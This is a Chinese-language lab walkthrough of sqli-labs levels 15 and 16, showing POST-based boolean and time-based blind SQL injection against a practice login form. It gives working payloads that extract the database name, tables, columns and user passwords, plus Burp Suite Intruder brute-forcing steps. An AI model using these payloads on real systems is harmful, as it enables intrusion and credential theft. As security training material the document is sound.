第十五关
POST类型单引号基于时间的布尔盲注
1.判断注入点
username输入a,password输入123,进不去
根据提示在a后面加上’# ,还是进不去,因为此时的账户是错的,不是a
尝试加上or 1=1永真句,成功进入
2.抓库名及长度
uname=a' or substr((database()),1,1) = 'a' #&passwd=123&submit=Submit
通过burpsuit抓包
右键发送给测试器,然后关闭拦截请求
清除变量,在1和a两边分别添加添加图中两个变量,选择集束炸弹
有效载荷里载入密码字典,1载0-9,2载a-z
点击开始攻击,攻击结果如下
3.抓表名
uname=a' or substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1) = 'a' #&passwd=123&submit=Submit
同库名处理一样,在有效载荷1那里载入1-30
4.抓列名
uname=a' or substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table name = 'users'),1,1) = 'a' #&passwd=123&submit=Submit
5.抓数据
uname=a' or substr((select group_concat(id,username,password) from users),1,1) = 'a' #&passwd=123&submit=Submit
抓包处理,在有效载荷1载入1-100,在有效载荷那里载入1-14及a-z,A-Z(有的密码不完整,因为没有加入! - @ 等特殊字符)
第十六关
POST类型基于双引号的时间布尔盲注
1.判断注入点
username输入a,password输入123,点击submit,根据提示加上有了十五关的经验,在POST data修改为uname=a" or 1=1#&passwd=123&submit=Submit发现不行,尝试在双引号后面加上括号,uname=a") or 1=1#&passwd=123&submit=Submit,成功进入
2.判断库长度
uname=a") or sleep(if(length(database())>7,0,2))#&passwd=123&submit=Submit
长度为7时不延时
uname=a") or sleep(if(length(database())>8,0,2))#&passwd=123&submit=Submit
长度为8时,发现延时,判断数据库长度为8
3.判断库名
uname=a") or sleep(if(ascii(substring(database(),1,1))>114 ,0,5))#&passwd=123&submit=Submit
当ascll码值为114时,发现不延时
uname=a") or sleep(if(ascii(substring(database(),1,1))>115 ,0,5))#&passwd=123&submit=Submit
当ascll码值为115时,发现延时,查表判断第一个字母为s由于这个方法太过繁琐,极力不推荐,这里就不一一赘述了,推荐用15关的方法或者sqlmap解决。